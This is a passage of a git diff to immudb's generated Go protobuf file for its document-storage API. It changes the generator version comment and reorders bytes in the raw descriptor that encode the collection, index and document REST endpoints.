[DocumentProofResponse](#immudb.model.DocumentProofResponse) | | +| DocumentDelete | [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) | [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 1c3daa7ec0..21e399f48e 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.30.0 +// protoc-gen-go v1.28.1 // protoc v3.21.12 // source: documents.proto @@ -2312,133 +2312,133 @@ var file_documents_proto_rawDesc = []byte{ 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, - 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, - 0x2a, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, - 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x14, 0x3a, 0x01, 0x2a, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, + 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, 0x41, 0x09, 0x0a, 0x07, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, - 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x97, 0x01, 0x0a, 0x12, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x1a, 0x15, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, - 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, - 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, - 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, - 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 